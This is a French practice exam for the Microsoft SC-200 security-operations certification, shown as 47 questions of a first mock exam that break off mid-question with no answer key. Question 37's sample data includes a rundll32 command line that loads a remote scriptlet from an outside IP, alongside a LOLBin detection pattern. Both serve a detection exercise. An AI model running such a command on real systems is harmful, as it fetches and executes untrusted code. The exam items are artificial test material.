EXAMEN SC-200 · ENTRAÎNEMENT EN CONDITIONS RÉELLES

EXAMENS BLANCS — SUJETS

Guide complet de préparation à la certification Microsoft SC-200

3 examens de 50 questions · vérification documentaire : 2026-10-12

Examen blanc n° 1

Consignes : 50 questions, durée conseillée 100 minutes, sans documentation. Notez vos réponses sur une feuille séparée, puis comparez-les au corrigé. Les questions à réponses multiples indiquent le nombre de réponses attendues. La répartition suit la pondération officielle du référentiel : 21 questions « Gérer un environnement d'opérations de sécurité », 18 « Répondre aux incidents de sécurité » et 11 « Effectuer la chasse aux menaces ».

Examen 1 — Question 1 (Répondre aux incidents de sécurité)

Un incident affiche l'étiquette « Attack Disruption » : un utilisateur a été désactivé et deux appareils contenus automatiquement. Quelle est la conduite à tenir de l'analyste ?

A. Attendre qu'une règle d'automatisation ferme l'incident.

B. Annuler immédiatement toutes les actions automatiques pour éviter les perturbations.

C. Fermer l'incident, car l'interruption a résolu l'attaque.

D. Prioriser l'incident, analyser l'histoire de l'attaque, poursuivre l'investigation et la remédiation, puis lever le confinement et réactiver le compte une fois la menace éliminée.

Examen 1 — Question 2 (Gérer un environnement d'opérations de sécurité)

Vous créez un playbook qui doit lire toutes les entités et alertes d'un incident, puis publier un résumé dans Microsoft Teams, et être lancé par une règle d'automatisation à la création d'incidents. Quel déclencheur Logic Apps utiliser ?

A. Le déclencheur Microsoft Sentinel « entity ».

B. Le déclencheur Microsoft Sentinel « Microsoft Sentinel incident ».

C. Le déclencheur « Recurrence » (planifié).

D. Le déclencheur « When a HTTP request is received ».

Examen 1 — Question 3 (Répondre aux incidents de sécurité)

Le SOC reçoit une alerte de Gestion des risques internes (Insider Risk Management) concernant un utilisateur sur le départ ayant exfiltré des données. Pourquoi l'identité de l'utilisateur peut-elle apparaître pseudonymisée ?

A. Parce que les paramètres de confidentialité d'Insider Risk Management peuvent masquer les noms des utilisateurs pour protéger la vie privée, seuls des rôles autorisés pouvant lever la pseudonymisation.

B. Parce que l'utilisateur n'existe plus dans Entra ID.

C. Parce que le connecteur Syslog est mal configuré.

D. Parce que Defender XDR ne prend pas en charge les alertes Purview.

Examen 1 — Question 4 (Gérer un environnement d'opérations de sécurité)

Vous transformez une requête de chasse avancée sur DeviceProcessEvents en règle de détection personnalisée. L'assistant refuse la requête ou les alertes ne sont pas correctement rattachées aux appareils. Quelles colonnes la requête doit-elle renvoyer ?

A. Aucune colonne particulière : toute requête est acceptée telle quelle.

B. Timestamp (ou TimeGenerated), ainsi que DeviceId et ReportId pour les tables Defender for Endpoint.

C. Uniquement DeviceName.

D. SHA256 et FileName uniquement.

Examen 1 — Question 5 (Effectuer la chasse aux menaces)

Besoin : rechercher une IP dans plusieurs sources. Que contient la colonne Source ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
union withsource = Source SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(3d)
| where IPAddress == "203.0.113.77"
| summarize Connexions = count() by Source, UserPrincipalName
```

A. Le résultat de la connexion.

B. Le nom de l'espace de travail.

C. L'adresse IP source de la connexion.

D. Le nom de la table d'origine de chaque ligne (SigninLogs ou AADNonInteractiveUserSignInLogs).

Examen 1 — Question 6 (Effectuer la chasse aux menaces)

Hypothèse de chasse : un compte compromis se connecte rapidement à de nombreux serveurs. Que renvoie la requête sur les ouvertures de session réseau simulées ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Logons = datatable(TimeGenerated:datetime, AccountName:string, DeviceName:string,
LogonType:string)
[
    datetime(2026-10-05T13:00:00Z), "svc_sql", "SRV-SQL01", "Network",
    datetime(2026-10-05T13:02:00Z), "j.roux",  "SRV-FIC01", "Network",
    datetime(2026-10-05T13:02:30Z), "j.roux",  "SRV-FIC02", "Network",
    datetime(2026-10-05T13:03:10Z), "j.roux",  "SRV-APP01", "Network",
    datetime(2026-10-05T13:03:40Z), "j.roux",  "SRV-APP02", "Network",
    datetime(2026-10-05T13:04:05Z), "j.roux",  "SRV-DC01",  "Network",
    datetime(2026-10-05T15:00:00Z), "svc_sql", "SRV-SQL01", "Network"
];
Logons
| summarize Cibles = dcount(DeviceName), Liste = make_set(DeviceName) by AccountName,
bin(TimeGenerated, 10m)
| where Cibles >= 4
```

A. Le compte j.roux, qui s'est connecté à 5 serveurs différents (dont un contrôleur de domaine) en un peu plus de 2 minutes.

B. Le compte svc_sql, qui se connecte deux fois au même serveur.

C. Aucun compte, car LogonType « Network » est légitime.

D. Les deux comptes.

Examen 1 — Question 7 (Répondre aux incidents de sécurité)

Après un hameçonnage réussi, vous soupçonnez qu'un attaquant a créé une règle de boîte de réception transférant les e-mails vers une adresse externe. Quelle requête Sentinel permet de rechercher la création de telles règles ?

A.

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(7d)
| where Operation in ("New-InboxRule", "Set-InboxRule", "UpdateInboxRules")
| where Parameters has_any ("ForwardTo", "RedirectTo", "ForwardAsAttachmentTo")
| project TimeGenerated, UserId, ClientIP, Operation, Parameters
```

B.

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(7d)
| where OperationNameValue has "InboxRule"
```

C.

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4720
```

D.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where AppDisplayName == "Outlook"
```

Examen 1 — Question 8 (Répondre aux incidents de sécurité)

Un poste a été isolé il y a deux jours. L'analyse est terminée, les persistances supprimées et le poste réimagé. Quelles vérifications précèdent la libération de l'isolement ?

A. Libérer immédiatement sans vérification puisque le poste a été réimagé.

B. Vérifier qu'aucune activité malveillante ne persiste (analyse antivirus complète, chasse sur les IOC de l'incident, état de l'enquête automatisée), que les identifiants de l'utilisateur ont été réinitialisés si nécessaire, puis libérer et surveiller.

C. Désintégrer (offboard) le poste de MDE avant de le libérer.

D. Laisser le poste isolé indéfiniment par précaution.

Examen 1 — Question 9 (Répondre aux incidents de sécurité)

Lors d'une compromission de messagerie, vous devez déterminer quels e-mails l'attaquant a effectivement lus (synchronisation ou accès par lien). Quel événement d'audit est conçu pour cela ?

A. New-InboxRule.

B. FileDownloaded.

C. UserLoggedIn.

D. MailItemsAccessed.

Examen 1 — Question 10 (Répondre aux incidents de sécurité)

Vous recherchez dans Sentinel les partages anonymes (liens « Tout le monde ») créés sur SharePoint/OneDrive au cours des dernières 24 heures. Quelle requête est la plus appropriée ?

A.

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where OfficeWorkload in ("SharePoint", "OneDrive")
| where Operation in ("AnonymousLinkCreated", "AnonymousLinkUsed")
| project TimeGenerated, UserId, Operation, OfficeObjectId, ClientIP
```

B.

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue has "AnonymousLink"
```

C.

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 5140
```

D.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName == "SharePoint"
```

Examen 1 — Question 11 (Gérer un environnement d'opérations de sécurité)

Le SOC soupçonne la présence de machines non protégées sur le réseau. Quelle fonctionnalité de MDE permet d'identifier ces appareils sans installer de logiciel supplémentaire ?

A. La restriction d'exécution d'applications.

B. Le filtrage de contenu web.

C. La découverte des appareils (device discovery), en mode standard, qui utilise les appareils intégrés à MDE pour sonder et identifier les appareils non gérés.

D. L'analyse approfondie de fichiers.

Examen 1 — Question 12 (Gérer un environnement d'opérations de sécurité)

Scénario D (suite) : le SOC veut une règle Sentinel détectant les connexions réussies depuis un appareil non conforme et un pays jamais vu pour l'utilisateur. **Question :** quel paramétrage de la règle est le plus approprié ?

A. Une règle Fusion personnalisée.

B. Une règle planifiée (par exemple toutes les heures, avec une référence de 14 jours dans la requête), avec mappage des entités Account et IP et regroupement des alertes par utilisateur.

C. Une règle d'anomalie en mode Production sans test.

D. Une règle NRT sans référence historique.

Examen 1 — Question 13 (Gérer un environnement d'opérations de sécurité)

La réglementation impose de conserver les journaux de pare-feu pendant 7 ans. Ils ne servent qu'à des investigations ponctuelles. Quelle configuration est la plus économique tout en restant interrogeable en KQL ?

A. Conserver la table en niveau Analytics avec une rétention interactive de 7 ans.

B. Exporter quotidiennement les journaux en CSV vers un partage de fichiers.

C. Supprimer les journaux après 90 jours et ne conserver que les alertes.

D. Stocker la table dans le niveau data lake avec une rétention de 7 ans, et utiliser des requêtes KQL ou des jobs KQL lors des investigations.

Examen 1 — Question 14 (Répondre aux incidents de sécurité)

Quel est l'avantage principal de l'analyse sans agent (agentless scanning) de Defender for Cloud pour les machines virtuelles ?

A. Elle remplace la MFA des administrateurs.

B. Elle évalue les vulnérabilités, l'inventaire logiciel, les secrets et les malwares à partir d'instantanés de disques, sans installer ni gérer d'agent et sans impact sur les performances de la VM.

C. Elle chiffre automatiquement les disques.

D. Elle bloque en temps réel les processus malveillants sur la VM.

Examen 1 — Question 15 (Répondre aux incidents de sécurité)

Une application malveillante ayant obtenu des autorisations Mail.Read est soupçonnée d'avoir lu des boîtes aux lettres via l'API Microsoft Graph. Quelle source de données permet de voir les requêtes HTTP effectuées vers Graph par cette application ?

A. Les journaux d'activité Microsoft Graph (table MicrosoftGraphActivityLogs), envoyés vers Log Analytics par paramètres de diagnostic Entra ID.

B. La table Heartbeat.

C. La table DeviceNetworkEvents.

D. La table Syslog.

Examen 1 — Question 16 (Effectuer la chasse aux menaces)

Besoin : identifier les destinataires d'e-mails classés hameçonnage qui ont cliqué sur une URL du message. Quelle requête de corrélation est correcte ?

A.

REQUÊTE KQL

```
EmailUrlInfo
| where Timestamp > ago(7d)
| summarize count() by UrlDomain
```

B.

REQUÊTE KQL

```
UrlClickEvents
| where Timestamp > ago(7d)
| where ActionType == "ClickBlocked"
```

C.

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where ThreatTypes has "Phish"
| join kind=inner (UrlClickEvents) on RecipientEmailAddress
```

D.

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where ThreatTypes has "Phish"
| project NetworkMessageId, RecipientEmailAddress, SenderFromAddress, Subject
| join kind=inner (
    UrlClickEvents
    | where Timestamp > ago(7d)
    | project NetworkMessageId, AccountUpn, Url, ActionType, IsClickedThrough, ClickTime =
Timestamp
  ) on NetworkMessageId
| where RecipientEmailAddress =~ AccountUpn
| project ClickTime, AccountUpn, SenderFromAddress, Subject, Url, ActionType, IsClickedThrough
```

Examen 1 — Question 17 (Répondre aux incidents de sécurité)

Deux incidents concernent manifestement la même attaque (même utilisateur et même IP de commande et contrôle), mais n'ont pas été corrélés automatiquement. Que peut faire l'analyste dans le portail Defender ?

A. Rien : la corrélation est uniquement automatique.

B. Déplacer les alertes de l'un vers l'autre (ou fusionner les incidents manuellement selon l'expérience disponible) afin de centraliser l'investigation.

C. Supprimer l'un des incidents.

D. Recréer manuellement toutes les alertes dans un nouvel incident.

Examen 1 — Question 18 (Gérer un environnement d'opérations de sécurité)

Quelle différence fondamentale existe entre l'interruption automatique d'attaque (automatic attack disruption) de Defender XDR et un playbook Sentinel ?

A. Les playbooks sont toujours plus rapides car ils s'exécutent sur le terminal.

B. L'interruption automatique nécessite d'écrire un playbook Logic Apps pour chaque scénario.

C. L'interruption automatique ne concerne que Defender for Cloud.

D. L'interruption automatique est une capacité intégrée de Defender XDR qui contient automatiquement des actifs compromis (appareil, utilisateur) lors d'attaques à haute confiance, alors qu'un playbook est un workflow Logic Apps conçu et maintenu par le SOC.

Examen 1 — Question 19 (Gérer un environnement d'opérations de sécurité)

Vous gérez une liste de 200 serveurs critiques (nom et propriétaire) régulièrement mise à jour par l'équipe infrastructure. Vous voulez augmenter la gravité des détections qui concernent ces serveurs. Quelle approche est la plus adaptée ?

A. Importer la liste comme watchlist et l'utiliser dans les requêtes des règles via `_GetWatchlist('alias')`, par exemple pour joindre sur le nom d'hôte et ajuster la gravité.

B. Créer 200 règles d'automatisation.

C. Placer les serveurs dans un groupe de ressources dédié.

D. Saisir les 200 noms en dur dans chaque règle.

Examen 1 — Question 20 (Gérer un environnement d'opérations de sécurité)

Un MSSP exploite deux espaces Sentinel (« ws-eu » et « ws-us »). Un analyste veut, dans une seule requête KQL, compter les échecs de connexion Entra ID des deux espaces. Quelle approche est correcte ?

A. Créer une règle d'automatisation qui copie les incidents d'un espace vers l'autre.

B. C'est impossible : une requête KQL ne peut porter que sur un seul espace.

C. Utiliser l'opérateur `lookup` en précisant le nom de l'abonnement Azure.

D. Utiliser `union` avec la fonction `workspace()` pour interroger la table SigninLogs de chaque espace dans la même requête.

Examen 1 — Question 21 (Effectuer la chasse aux menaces)

Besoin : après une connexion risquée d'un administrateur au portail Azure, lister les opérations du plan de contrôle effectuées depuis la même adresse IP dans les 2 heures. Quelle requête est correcte ?

A.

REQUÊTE KQL

```
let Suspectes = SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0" and RiskLevelDuringSignIn in ("medium", "high")
| project ConnexionTime = TimeGenerated, IPAddress, Upn = tolower(UserPrincipalName);
AzureActivity
| where TimeGenerated > ago(1d)
| where ActivityStatusValue == "Success"
| join kind=inner Suspectes on $left.CallerIpAddress == $right.IPAddress
| where TimeGenerated between (ConnexionTime .. ConnexionTime + 2h)
| project TimeGenerated, Caller, CallerIpAddress, OperationNameValue, ResourceGroup, Upn
```

B.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName == "Azure Portal"
```

C.

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| summarize count() by OperationNameValue
```

D.

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| join kind=inner (SigninLogs) on $left.Caller == $right.AppDisplayName
```

Examen 1 — Question 22 (Gérer un environnement d'opérations de sécurité)

Les analystes N2 doivent pouvoir lancer manuellement, depuis un incident, un playbook « Bloquer l'utilisateur dans Entra ID », mais ne doivent pas pouvoir modifier la logique du playbook. Quel rôle est le plus adapté, en complément de Microsoft Sentinel Responder ?

A. Logic App Contributor.

B. Microsoft Sentinel Playbook Operator.

C. Contributeur (Contributor) sur l'abonnement.

D. Microsoft Sentinel Automation Contributor.

Examen 1 — Question 23 (Répondre aux incidents de sécurité)

MDI signale « Suspected DCSync attack (replication of directory services) » depuis un poste de travail utilisant le compte d'un administrateur. Pourquoi cette alerte est-elle critique ?

A. Elle signale une indisponibilité du contrôleur de domaine.

B. Elle indique seulement une synchronisation horaire anormale.

C. Elle concerne exclusivement Microsoft Entra Connect et est toujours légitime.

D. Un acteur imite un contrôleur de domaine pour demander la réplication des secrets (hachages de mots de passe, dont celui de krbtgt), ce qui permet le vol massif d'identifiants et la création de Golden Tickets.

Examen 1 — Question 24 (Répondre aux incidents de sécurité)

Un analyste veut voir en un seul écran l'ensemble d'une vague d'hameçonnage coordonnée : messages, URL, expéditeurs, destinataires ayant cliqué, sur plusieurs jours. Quelle fonctionnalité de MDO Plan 2 fournit cette vue ?

A. Le rapport d'état de mise à jour des appareils.

B. La simulation d'attaques.

C. Les vues de campagnes (Campaigns).

D. Les stratégies de quarantaine.

Examen 1 — Question 25 (Gérer un environnement d'opérations de sécurité)

Une alerte de Defender for Cloud se déclenche à chaque test d'intrusion autorisé mené depuis l'adresse IP du prestataire. Comment réduire ce bruit sans masquer les attaques réelles ?

A. Supprimer manuellement chaque alerte.

B. Désactiver le plan Defender concerné sur l'abonnement.

C. Créer une règle de suppression d'alertes limitée au type d'alerte concerné, à l'IP du prestataire et éventuellement à une date d'expiration.

D. Ajouter l'IP du prestataire en exclusion antivirus sur toutes les VM.

Examen 1 — Question 26 (Répondre aux incidents de sécurité)

Une base SQL Server s'exécute sur une VM Azure. Quel plan Defender for Cloud détecte les attaques contre le moteur SQL (injection, force brute SQL) sur cette machine ?

A. Defender for Key Vault.

B. Defender for App Service.

C. Defender for SQL servers on machines (plan Defender for SQL couvrant les serveurs SQL sur machines).

D. Defender for Storage.

Examen 1 — Question 27 (Répondre aux incidents de sécurité)

Une organisation publie des API via Azure API Management et craint des abus (énumération, exfiltration via les API, appels depuis des IP malveillantes). Quel plan Defender for Cloud est conçu pour ce besoin ?

A. Defender for Key Vault.

B. Defender for APIs.

C. Defender for DNS.

D. Foundational CSPM uniquement.

Examen 1 — Question 28 (Gérer un environnement d'opérations de sécurité)

Le SOC veut bénéficier des scores de priorité d'investigation et des pages d'entités enrichies de l'analyse du comportement des utilisateurs et des entités (UEBA). Quelles étapes sont nécessaires ?

A. Créer une règle planifiée nommée « UEBA ».

B. Activer l'UEBA dans les paramètres de Sentinel, synchroniser l'annuaire (Microsoft Entra ID et éventuellement Active Directory via Defender for Identity) et sélectionner les sources de données (par exemple journaux de connexion, journaux d'audit, Azure Activity, événements de sécurité).

C. Installer un agent UEBA sur chaque poste.

D. Acheter une licence Defender for Endpoint Plan 2.

Examen 1 — Question 29 (Gérer un environnement d'opérations de sécurité)

Scénario E (suite) : même après ajustement, un vrai positif génère une alerte par exécution PowerShell, créant 15 incidents pour une seule intrusion. **Question :** quel paramètre améliore la lisibilité sans perdre d'information ?

A. Le regroupement des alertes en incidents par entités correspondantes (Host et Account) sur une fenêtre de quelques heures.

B. Le passage en seuil « plus de 15 résultats ».

C. La suppression de la règle pendant 24 heures après la première alerte.

D. La réduction de la gravité.

Examen 1 — Question 30 (Gérer un environnement d'opérations de sécurité)

Pendant deux semaines, un scanner de vulnérabilités autorisé (10.10.5.20) déclenchera la règle « Balayage de ports interne ». Vous voulez fermer automatiquement les incidents correspondants comme « Benign Positive », sans modifier la règle d'analyse, et que ce comportement cesse de lui-même ensuite. Quelle solution choisir ?

A. Supprimer les journaux du scanner par une transformation d'ingestion.

B. Désactiver la règle d'analyse pendant deux semaines.

C. Créer un playbook planifié qui ferme chaque soir tous les incidents ouverts.

D. Une règle d'automatisation déclenchée à la création d'un incident, conditionnée à la règle d'analyse concernée et à l'entité IP 10.10.5.20, qui ferme l'incident avec la classification adéquate, et dotée d'une date d'expiration.

Examen 1 — Question 31 (Répondre aux incidents de sécurité)

Une organisation déploie des applications d'IA générative sur Azure OpenAI / Azure AI. Quelle protection de Defender for Cloud permet de détecter des tentatives d'injection de prompt (jailbreak) ou des fuites de données sensibles via ces applications ?

A. Les règles ASR.

B. La protection contre les menaces pour les charges de travail d'IA (Defender for AI services).

C. Le filtrage de contenu web de MDE.

D. Defender for DNS.

Examen 1 — Question 32 (Effectuer la chasse aux menaces)

Besoin : lister, pour chaque incident fermé comme vrai positif le mois dernier, le nom et le produit de ses alertes. Quelle requête est correcte ?

A.

REQUÊTE KQL

```
SecurityIncident
| join kind=inner (SecurityAlert) on Title
```

B.

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(45d)
| summarize arg_max(TimeGenerated, *) by IncidentNumber
| where Status == "Closed" and Classification == "TruePositive"
| mv-expand AlertId = AlertIds to typeof(string)
| join kind=inner (
    SecurityAlert
    | where TimeGenerated > ago(45d)
    | summarize arg_max(TimeGenerated, AlertName, ProductName, AlertSeverity) by SystemAlertId
  ) on $left.AlertId == $right.SystemAlertId
| project IncidentNumber, Title, AlertName, ProductName, AlertSeverity
```

C.

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(45d)
| join kind=inner (SecurityAlert) on $left.AlertIds == $right.SystemAlertId
```

D.

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(45d)
| summarize count() by ProductName
```

Examen 1 — Question 33 (Répondre aux incidents de sécurité)

L'enquête sur un rançongiciel révèle que le premier accès s'est fait par RDP sur un serveur exposé directement sur Internet, avec un compte local au mot de passe faible. Quelle mesure corrige durablement ce vecteur ?

A. Désactiver la journalisation des ouvertures de session RDP.

B. Changer le port RDP de 3389 à 3390.

C. Supprimer l'exposition directe de RDP (accès via VPN/passerelle avec MFA ou accès juste-à-temps), et renforcer/gérer les comptes locaux (LAPS, mots de passe uniques).

D. Bloquer les adresses IP de l'attaquant uniquement.

Examen 1 — Question 34 (Gérer un environnement d'opérations de sécurité)

Le SOC doit créer automatiquement un ticket ServiceNow pour chaque incident de gravité élevée et inscrire le numéro de ticket dans un commentaire de l'incident Sentinel. Quelle solution est la plus adaptée ?

A. Exporter manuellement chaque incident en CSV.

B. Une règle d'analyse NRT sur la table SecurityIncident.

C. Un playbook Logic Apps (déclencheur incident) utilisant le connecteur ServiceNow, lancé par une règle d'automatisation filtrée sur la gravité élevée, qui ajoute ensuite un commentaire à l'incident.

D. Un classeur qui exporte les incidents vers ServiceNow.

Examen 1 — Question 35 (Répondre aux incidents de sécurité)

Le service juridique demande de préserver toutes les données de messagerie et OneDrive de trois utilisateurs impliqués dans un incident, en vue d'une éventuelle procédure. Quelle fonctionnalité utiliser ?

A. Une conservation (hold) dans un dossier Microsoft Purview eDiscovery, appliquée aux boîtes aux lettres et sites OneDrive concernés.

B. Une exportation manuelle des e-mails en PST par les utilisateurs eux-mêmes.

C. Une watchlist Sentinel listant les trois utilisateurs.

D. L'isolation de leurs postes avec MDE.

Examen 1 — Question 36 (Effectuer la chasse aux menaces)

Besoin : histogramme horaire des connexions. La requête donne une seule tranche par utilisateur au lieu d'une série horaire. Quelle est l'erreur ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize Connexions = count() by UserPrincipalName, bin(UserPrincipalName, 1h)
```

A. Il faut remplacer `1h` par `60m`.

B. Il manque `render timechart`.

C. `bin()` ne peut pas être utilisé dans `summarize`.

D. `bin()` doit s'appliquer à la colonne temporelle : `by UserPrincipalName, bin(TimeGenerated, 1h)`.

Examen 1 — Question 37 (Effectuer la chasse aux menaces)

Hypothèse de chasse : des binaires système sont détournés pour exécuter du script (T1218). Quelle ligne simulée est signalée par la requête ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Proc = datatable(DeviceName:string, FileName:string, ProcessCommandLine:string)
[
    "PC-31", "rundll32.exe", "rundll32.exe shell32.dll,Control_RunDLL desk.cpl",
    "PC-44", "rundll32.exe", "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication
\";document.write();GetObject(\"script:http://198.51.100.9/a.sct\")",
    "PC-12", "mshta.exe",    "mshta.exe C:\\Program Files\\App\\aide.hta"
];
Proc
| where FileName in~ ("rundll32.exe", "mshta.exe", "regsvr32.exe")
| where ProcessCommandLine has_any ("javascript:", "vbscript:", "script:http", "RunHTMLApplication")
| project DeviceName, FileName, ProcessCommandLine
```

A. Les trois lignes, car les trois binaires sont des LOLBins.

B. La ligne de PC-31 : rundll32 ouvrant un panneau de configuration.

C. La ligne de PC-44 : rundll32.exe exécutant du JavaScript via mshtml et chargeant un scriptlet distant.

D. La ligne de PC-12 : mshta lançant une aide HTA locale.

Examen 1 — Question 38 (Effectuer la chasse aux menaces)

Besoin de détection : repérer la création d'un compte suivie, dans les 30 minutes, de son ajout à un groupe local (par exemple Administrateurs) sur le même ordinateur. Quelle requête est correcte ?

A.

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4726
| project TimeGenerated, Computer, TargetUserName
```

B.

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID in (4720, 4732)
| summarize count() by Computer
```

C.

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4624
| where LogonType == 2
```

D.

REQUÊTE KQL

```
let creations = SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4720
| project CreationTime = TimeGenerated, Computer, CompteCree = TargetUserName, Createur =
SubjectUserName;
let ajouts = SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4732
| project AjoutTime = TimeGenerated, Computer, Groupe = TargetUserName, Membre = MemberName;
creations
| join kind=inner ajouts on Computer
| where AjoutTime between (CreationTime .. CreationTime + 30m)
| where Membre has CompteCree
| project CreationTime, AjoutTime, Computer, CompteCree, Groupe, Createur
```

Examen 1 — Question 39 (Effectuer la chasse aux menaces)

Besoin de détection : identifier les adresses IP qui ont échoué sur au moins 20 comptes différents (code 50126) puis réussi au moins une connexion dans la même journée. Quelle requête est correcte ?

A.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize ComptesEchec = dcountif(UserPrincipalName, ResultType == "50126"),
            ComptesSucces = make_set_if(UserPrincipalName, ResultType == "0", 50)
            by IPAddress
| where ComptesEchec >= 20 and array_length(ComptesSucces) > 0
```

B.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "50053"
```

C.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0"
| summarize dcount(UserPrincipalName) by IPAddress
| where dcount_UserPrincipalName >= 20
```

D.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "50126"
| summarize count() by UserPrincipalName
```

Examen 1 — Question 40 (Gérer un environnement d'opérations de sécurité)

Scénario J (suite) : le SOC formalise ses règles pour les playbooks. **Question :** quelles pratiques recommander ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. Utiliser des identités managées avec le moindre privilège et journaliser les actions des playbooks (commentaires dans l'incident).

B. Donner le rôle Logic App Contributor à tous les analystes N1.

C. Partager un compte d'administrateur général dans toutes les connexions des playbooks.

D. Désactiver la surveillance de l'intégrité pour réduire les coûts.

E. Versionner et déployer les playbooks et règles d'automatisation via un dépôt (Repositories / CI-CD), avec tests sur un environnement de développement.

Examen 1 — Question 41 (Répondre aux incidents de sécurité)

Un e-mail prétendant provenir de « support@contoso.com » arrive dans la boîte de réception. L'en-tête indique `spf=fail`, `dkim=none`, `dmarc=fail` et un expéditeur d'enveloppe (MAIL FROM) appartenant à un domaine inconnu. Que conclure ?

A. DMARC « fail » indique que le message a été chiffré.

B. Le message est authentique car l'adresse affichée est correcte.

C. Il s'agit très probablement d'une usurpation (spoofing) du domaine contoso.com ; il faut vérifier pourquoi le message a été remis (stratégie DMARC, exceptions ou règles de transport).

D. Un échec SPF signifie uniquement que le message est trop volumineux.

Examen 1 — Question 42 (Gérer un environnement d'opérations de sécurité)

Quelle affirmation décrit correctement la détection Fusion (Advanced Multistage Attack Detection) de Microsoft Sentinel ?

A. Elle s'appuie sur l'apprentissage automatique pour corréler des alertes et anomalies de faible fidélité provenant de plusieurs produits en incidents multi-étapes de haute fidélité ; elle est activée par défaut.

B. Elle ne fonctionne qu'avec des journaux Syslog.

C. C'est une règle planifiée dont l'analyste rédige la requête KQL de corrélation.

D. Elle génère une alerte pour chaque échec de connexion.

Examen 1 — Question 43 (Effectuer la chasse aux menaces)

Besoin : identifier les appareils touchés par une CVE critique exploitée (CVE-2024-21412) qui ont aussi déclenché une alerte au cours des 7 derniers jours. Quelle requête est correcte ?

A.

REQUÊTE KQL

```
DeviceInfo
| where Timestamp > ago(7d)
| where OSPlatform == "Windows11"
```

B.

REQUÊTE KQL

```
DeviceTvmSoftwareVulnerabilities
| where Timestamp > ago(7d)
| where CveId == "CVE-2024-21412"
```

C.

REQUÊTE KQL

```
DeviceTvmSoftwareVulnerabilities
| where CveId == "CVE-2024-21412"
| distinct DeviceId, DeviceName, SoftwareName, SoftwareVersion
| join kind=inner (
    AlertEvidence
    | where Timestamp > ago(7d)
    | where EntityType == "Machine"
    | summarize Alertes = make_set(Title, 10) by DeviceId
  ) on DeviceId
```

D.

REQUÊTE KQL

```
AlertInfo
| where Timestamp > ago(7d)
| where Title has "CVE-2024-21412"
```

Examen 1 — Question 44 (Gérer un environnement d'opérations de sécurité)

Scénario J : une règle d'automatisation doit lancer le playbook « Notifier-Teams » à la création d'incidents de gravité élevée. Les incidents sont bien créés mais aucun message n'arrive ; l'historique de la Logic App ne montre aucune exécution. **Question :** quelle cause vérifier en premier ?

A. Les autorisations du compte de service Microsoft Sentinel (Microsoft Sentinel Automation Contributor) sur le groupe de ressources du playbook, et le type de déclencheur du playbook (incident).

B. La rétention de la table SecurityIncident.

C. Le Secure Score du locataire.

D. Le connecteur Teams de la Logic App.

Examen 1 — Question 45 (Gérer un environnement d'opérations de sécurité)

Vous souhaitez qu'à chaque alerte Defender for Cloud de gravité élevée, un message soit publié dans Teams et un ticket créé, sans dépendre de Sentinel. Quelle fonctionnalité utiliser ?

A. Le tableau de bord de conformité réglementaire.

B. L'automatisation des workflows (workflow automation) de Defender for Cloud, qui déclenche une Logic App selon des conditions sur les alertes.

C. Les règles d'automatisation de Microsoft Sentinel.

D. Les règles de suppression.

Examen 1 — Question 46 (Répondre aux incidents de sécurité)

Un employé sur le départ est soupçonné d'avoir copié des fichiers sensibles vers son stockage cloud personnel. Quelles sources sont les plus pertinentes ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. La table Heartbeat.

B. Le journal d'activité Azure.

C. Cloud Discovery / Defender for Cloud Apps (applications cloud utilisées et volumes de chargement depuis les postes MDE).

D. Les journaux Microsoft 365 (Purview Audit, CloudAppEvents) pour les téléchargements massifs depuis SharePoint/OneDrive avant le transfert.

E. Le rapport de santé des capteurs MDI.

Examen 1 — Question 47 (Effectuer la chasse aux menaces)

Hypothèse de chasse : un attaquant masque des réponses de la victime en déplaçant certains messages vers un dossier peu consulté. Quelle règle simulée est signalée ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Regles = datatable(TimeGenerated:datetime, UserId:string, Operation:string, Parameters:string)
[
    datetime(2026-10-05T07:10:00Z), "f.garnier@contoso.com", "New-InboxRule",
"Name=Factures;From=compta@fournisseur.fr;MoveToFolder=Factures",
    datetime(2026-10-05T07:12:00Z), "s.lambert@contoso.com", "New-InboxRule",
